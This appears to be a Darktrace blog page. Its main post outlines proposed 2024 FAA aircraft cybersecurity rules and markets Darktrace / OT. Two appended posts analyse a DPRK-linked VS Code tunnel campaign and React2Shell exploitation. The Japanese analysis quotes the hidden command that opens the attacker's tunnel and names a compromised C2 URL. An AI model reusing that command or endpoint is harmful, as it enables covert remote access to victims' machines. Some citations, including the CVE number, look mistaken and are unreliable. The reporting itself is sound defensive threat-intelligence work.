ブログ
/
/
September 4, 2024

What you need to know about FAA Security Protection Regulations 2024

This blog gives an overview of the proposed FAA regulations for safeguarding aviation systems and their cyber-physical networks. Read more to discover key points, challenges, and potential solutions for each use case.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Daniel Simonds
Director of Operational Technology
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
04
Sep 2024

Overview of FAA Rules 2024

Objective

The goal of the Federal Aviation Administration amended rules is to create new design standards that protect airplane systems from intentional unauthorized electronic interactions (IUEI), which can pose safety risks. The timely motivation for this goal is due to the ongoing trend in aircraft design, which features a growing integration of airplane, engine, and propeller systems, along with expanded connectivity to both internal and external data networks and services.

“This proposed rulemaking would impose new design standards to address cybersecurity threats for transport category airplanes, engines, and propellers. The intended effect of this proposed action is to standardize the FAA’s criteria for addressing cybersecurity threats, reducing certification costs and time while maintaining the same level of safety provided by current special conditions.” (1)

Background

Increasing integration of aircraft systems with internal and external networks raises cybersecurity vulnerability concerns.

Key vulnerabilities include:  

  • Field Loadable Software
  • Maintenance laptops
  • Public networks (e.g., Internet)
  • Wireless sensors
  • USB devices
  • Satellite communications
  • Portable devices and flight bags  

Requirements for Applicants

Applicants seeking design approval must:

  • Provide isolation or protection from unauthorized access
  • Prevent inadvertent or malicious changes to aircraft systems
  • Establish procedures to maintain cybersecurity protections

Purpose

“These changes would introduce type certification and continued airworthiness requirements to protect the equipment, systems, and networks of transport category airplanes, engines, and propellers against intentional unauthorized electronic interactions (IUEI)1 that could create safety hazards. Design approval applicants would be required to identify, assess, and mitigate such hazards, and develop Instructions for Continued Airworthiness (ICA) that would ensure such protections continue in service.” (1)

Key points:

  • Introduce new design standards to address cybersecurity threats for transport category airplanes, engines, and propellers.
  • Aim to reduce certification costs and time while maintaining safety levels similar to current special conditions

Applicant Responsibilities for Identifying, Assessing, and Mitigating IUEI Risks

The proposed rule requires applicants to safeguard airplanes, engines, and propellers from intentional unauthorized electronic interactions (IUEI). To do this, they must:

  1. Identify and assess risks: Find and evaluate any potential electronic threats that could harm safety.
  2. Mitigate risks: Take steps to prevent these threats from causing problems, ensuring the aircraft remain safe and functional.

Let’s break down each of the requirements:

Performing risk analysis

“For such identification and assessment of security risk, the applicant would be required to perform a security risk analysis to identify all threat conditions associated with the system, architecture, and external or internal interfaces.”(3)

Challenge

The complexity and variety of OT devices make it difficult and time-consuming to identify and associate CVEs with assets. Security teams face several challenges:

  • Prioritization Issues: Sifting through extensive CVE lists to prioritize efforts is a struggle.
  • Patch Complications: Finding corresponding patches is complicated by manufacturer delays and design flaws.
  • Operational Constraints: Limited maintenance windows and the need for continuous operations make it hard to address vulnerabilities, often leaving them unresolved for years.
  • Inadequate Assessments: Standard CVE assessments may not fully capture the risks associated with increased connectivity, underscoring the need for a contextualized risk assessment approach.

This highlights the need for a more effective and tailored approach to managing vulnerabilities in OT environments.

Assessing severity of risks

“The FAA would expect such risk analysis to assess the severity of the effect of threat conditions on associated assets (system, architecture, etc.), consistent with the means of compliance the applicant has been using to meet the FAA’s special conditions on this topic.” (3)

Challenge

As shown by the MITRE ATT&CK® Techniques for ICS matrices, threat actors can exploit many avenues beyond just CVEs. To effectively defend against these threats, security teams need a broader perspective, considering lateral movement and multi-stage attacks.

Challenges in Vulnerability Management (VM) cycles include:

  • Initiation: VM cycles often start with email updates from the Cybersecurity and Infrastructure Security Agency (CISA), listing new CVEs from the NIST database.
  • Communication: Security practitioners must survey and forward CVE lists to networking teams at facilities that might be running the affected assets. Responses from these teams are inconsistent, leading vulnerability managers to push patches that may not fit within limited maintenance windows.
  • Asset Tracking: At many OT locations, determining if a company is running a specific firmware version can be extremely time-consuming. Teams often rely on spreadsheets and must perform manual checks by physically visiting production floors ("sneaker-netting").
  • Coordination: Plant engineers and centralized security teams must exchange information to validate asset details and manually score vulnerabilities, further complicating and delaying remediation efforts.

Determine likelihood of exploitation

“Such assessment would also need to analyze these vulnerabilities for the likelihood of exploitation.” (3)

Challenge

Even when a vulnerability is identified, its actual impact can vary significantly based on the specific configurations, processes, and technologies in use within the organization. This creates challenges for OT security practitioners:

  • Risk Assessment: Accurately assessing and prioritizing the risk becomes difficult without a clear understanding of how the vulnerability affects their unique systems.
  • Decision-Making: Practitioners may struggle to determine whether immediate action is necessary, balancing the risk of operational downtime against the need for security.
  • Potential Consequences: This uncertainty can lead to either leaving critical systems exposed or causing unnecessary disruptions by applying measures that aren't truly needed.

This complexity underscores the challenge of making informed, timely decisions in OT security environments.

Vulnerability mitigation

“The proposed regulation would then require each applicant to 'mitigate' the vulnerabilities, and the FAA expects such mitigation would occur through the applicant’s installation of single or multilayered protection mechanisms or process controls to ensure functional integrity, i.e., protection.” (3)

Challenge

OT security practitioners face a constant challenge in balancing security needs with the requirement to maintain operational uptime. In many OT environments, especially in critical infrastructure, applying security patches can be risky:

  • Risk of Downtime: Patching can disrupt essential processes, leading to significant financial losses or even safety hazards.
  • Operational Continuity vs. Security: Practitioners often prioritize operational continuity, sometimes delaying timely security updates.
  • Alternative Strategies: To protect systems without direct patching, they must implement compensating controls, further complicating security efforts.

This delicate balance between security and uptime adds complexity to the already challenging task of securing OT environments.

Establishing procedures/playbooks

“Finally, each applicant would be required to include the procedures within their instructions for continued airworthiness necessary to maintain such protections.” (3)

Challenge

SOC teams typically have a lag before their response, leading to a higher dwell time and bigger overall costs. On average, only 15% of the total cost of ransomware is affiliated with the ransom itself (2). The rest is cost from business interruption. This means it's crucial that organizations can respond and recover earlier. 

Darktrace / OT enabling compliance and enhanced cybersecurity

Darktrace's OT solution addresses the complex challenges of cybersecurity compliance in Operational Technology (OT) environments by offering a comprehensive approach to risk management and mitigation.

Key risk management features include:

  • Contextualized Risk Analysis: Darktrace goes beyond traditional vulnerability scoring, integrating IT, OT, and CVE data with MITRE techniques to map critical attack paths. This helps in identifying and prioritizing vulnerabilities based on their exposure, difficulty of exploitation, and network impact.
  • Guidance on Remediation: When patches are unavailable, Darktrace provides alternative strategies to bolster defenses around vulnerable assets, ensuring unpatched systems are not left exposed—a critical need in OT environments where operational continuity is essential.
  • AI-Driven Adaptability: Darktrace's AI continuously adapts to your organization as it grows; refining incident response playbooks bespoke to your environment in real-time. This ensures that security teams have the most up-to-date, tailored strategies, reducing response times and minimizing the impact of security incidents.

Ready to learn more?  

Darktrace / OT doesn’t just offer risk management capabilities. It is the only solution  
that leverages Self-Learning AI to understand your normal business operations, allowing you to detect and stop insider, known, unknown, and zero-day threats at scale.  

Dive deeper into how Darktrace / OT secures critical infrastructure organizations with in-depth insights on its advanced capabilities. Download the Darktrace / OT Solution Brief to explore the technology behind its AI-driven protection and see how it can transform your OT security strategy.

Curious about how Darktrace / OT enhances aviation security? Explore our customer story on Brisbane Airport to see how our solution is transforming security operations in the aviation sector.  

References

  1. https://research-information.bris.ac.uk/ws/portalfiles/portal/313646831/Catch_Me_if_You_Can.pdf
  1. https://www.bleepingcomputer.com/news/security/ransom-payment-is-roughly-15-percent-of-the-total-cost-of-ransomware-attacks/
  1. https://public-inspection.federalregister.gov/2024-17916.pdf?mod=djemCybersecruityPro&tpl=cs
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Daniel Simonds
Director of Operational Technology

More in this series

No items found.

Blog

/

Network

/

January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

Default blog imageDefault blog image

はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ